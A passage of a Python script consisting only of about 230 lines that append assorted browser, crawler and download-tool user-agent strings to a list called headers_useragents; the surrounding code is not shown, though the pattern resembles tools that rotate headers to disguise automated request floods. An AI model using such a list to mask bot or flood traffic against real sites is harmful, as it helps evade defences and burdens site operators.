  2950.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2951.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2952.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2953.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2954.         headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2955.         headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2956.         headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2957.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2958.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2959.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2960.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2961.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2962.         headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2963.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2964.         headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2965.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2966.         headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2967.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2968.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2969.         headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2970.         headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2971.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2972.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2973.         headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2974.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2975.         headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2976.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2977.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2978.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2979.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2980.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2981.         headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2982.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2983.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2984.         headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2985.         headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2986.         headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2987.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2988.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2989.         headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2990.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2991.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2992.         headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2993.         headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2994.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2995.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2996.         headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2997.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2998.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2999.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  3000.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  3001.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  3002.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  3003.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  3004.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  3005.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  3006.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  3007.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  3008.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  3009.         headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  3010.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3011.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3012.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3013.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  3014.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3015.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3016.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3017.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3018.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3019.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3020.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3021.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3022.         headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  3023.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  3024.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  3025.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  3026.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  3027.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  3028.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  3029.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3030.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)')
  3031.         headers_useragents.append('Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)')
  3032.         headers_useragents.append('Wget/1.8.2')
  3033.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0')
  3034.         headers_useragents.append('Mediapartners-Google/2.1')
  3035.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7')
  3036.         headers_useragents.append('Mozilla/4.04 [en] (WinNT; I)')
  3037.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)')
  3038.         headers_useragents.append('lwp-trivial/1.41')
  3039.         headers_useragents.append('NetBSD-ftp/20031210')
  3040.         headers_useragents.append('Dillo/0.8.5-i18n-misc')
  3041.         headers_useragents.append('Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)')
  3042.         headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3043.         headers_useragents.append('Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3044.         headers_useragents.append('Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)')
  3045.         headers_useragents.append('Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3046.         headers_useragents.append('Links (2.1pre14; IRIX64 6.5 IP27; 145x54)')
  3047.         headers_useragents.append('Wget/1.10.1')
  3048.         headers_useragents.append('ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)')
  3049.         headers_useragents.append('Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)')
  3050.         headers_useragents.append('Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1')
  3051.         headers_useragents.append('Opera/8.52 (X11; Linux i386; U; de)')
  3052.         headers_useragents.append('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1')
  3053.         headers_useragents.append('Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711')
  3054.         headers_useragents.append('Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)')
  3055.         headers_useragents.append('Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)')
  3056.         headers_useragents.append('Opera/5.0 (SunOS 5.8 sun4m; U) [en]')
  3057.         headers_useragents.append('Links (2.1pre15; SunOS 5.8 sun4m; 80x24)')
  3058.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3059.         headers_useragents.append('Wget/1.8.1')
  3060.         headers_useragents.append('Wget/1.9.1')
  3061.         headers_useragents.append('tnftp/20050625')
  3062.         headers_useragents.append('Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)')
  3063.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16')
  3064.         headers_useragents.append('Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122')
  3065.         headers_useragents.append('Wget/1.7')
  3066.         headers_useragents.append('Lynx/2.8.2rel.1 libwww-FM/2.14')
  3067.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53')
  3068.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)')
  3069.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3070.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e')
  3071.         headers_useragents.append('Links (2.1pre20; SunOS 5.10 sun4u; 80x22)')
  3072.         headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i')
  3073.         headers_useragents.append('Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5')
  3074.         headers_useragents.append('Opera/8.51 (X11; Linux i386; U; de)')
  3075.         headers_useragents.append('Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)')
  3076.         headers_useragents.append('Links (0.96; OpenBSD 3.0 sparc)')
  3077.         headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c')
  3078.         headers_useragents.append('Lynx/2.8.3rel.1 libwww-FM/2.14')
  3079.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3080.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')
  3081.         headers_useragents.append('libwww-perl/5.79')
  3082.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53')
  3083.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7')
  3084.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  3085.         headers_useragents.append('msnbot/1.0 (+http://search.msn.com/msnbot.htm)')
  3086.         headers_useragents.append('Googlebot/2.1 (+http://www.google.com/bot.html)')
  3087.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3088.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7')
  3089.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51')
  3090.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)')
  3091.         headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c')
  3092.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  3093.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  3094.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  3095.         headers_useragents.append('Mozilla/4.8 [en] (Windows NT 5.1; U)')
  3096.         headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en)')
  3097.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)')
  3098.         headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)')
  3099.         headers_useragents.append('sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)')
  3100.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0')
  3101.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)')
  3102.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3103.         headers_useragents.append('BrowserEmulator/0.9 see http://dejavu.org')
  3104.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  3105.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)')
  3106.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508')
  3107.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)')
  3108.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624')
  3109.         headers_useragents.append('iCCrawler (http://www.iccenter.net/bot.htm)')
  3110.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2')
  3111.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)')
  3112.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1')
  3113.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  3114.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)')
  3115.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3')
  3116.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50')
  3117.         headers_useragents.append('Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)')
  3118.         headers_useragents.append('Java/1.4.1_04')
  3119.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  3120.         headers_useragents.append('msnbot/0.9 (+http://search.msn.com/msnbot.htm)')
  3121.         headers_useragents.append('NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)')
  3122.         headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  3123.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53')
  3124.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)')
  3125.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6')
  3126.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)')
  3127.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)')
  3128.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)')
  3129.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)')
  3130.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)')
  3131.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  3132.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)')
  3133.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)')
  3134.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)')
  3135.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)')
  3136.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)')
  3137.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)')
  3138.         headers_useragents.append('Opera/8.53 (Windows NT 5.1; U; en)')
  3139.         headers_useragents.append('Opera/8.01 (Windows NT 5.0; U; de)')
  3140.         headers_useragents.append('Opera/8.54 (Windows NT 5.1; U; de)')
  3141.         headers_useragents.append('Opera/8.53 (Windows NT 5.0; U; en)')
  3142.         headers_useragents.append('Opera/8.01 (Windows NT 5.1; U; de)')
  3143.         headers_useragents.append('Opera/8.50 (Windows NT 5.1; U; de)')
  3144.         headers_useragents.append('Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322')
  3145.         headers_useragents.append('Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)')
  3146.         headers_useragents.append('Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)')
  3147.         headers_useragents.append('Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)')
  3148.         headers_useragents.append('Mozilla/4.5 [de] (Macintosh; I; PPC)')
  3149.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  3150.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)')
  3151.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)')
  3152.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)')
  3153.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)')
  3154.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)')
  3155.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)')
  3156.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)')
  3157.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)')
  3158.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)')
  3159.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)')
  3160.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)')
  3161.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)')
  3162.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)')
  3163.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)')
  3164.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)')
  3165.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)')
  3166.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)')
  3167.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)')
  3168.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)')
  3169.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)')
  3170.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)')
  3171.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)')
  3172.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)')
  3173.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)')
  3174.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)')
  3175.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)')
  3176.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)')
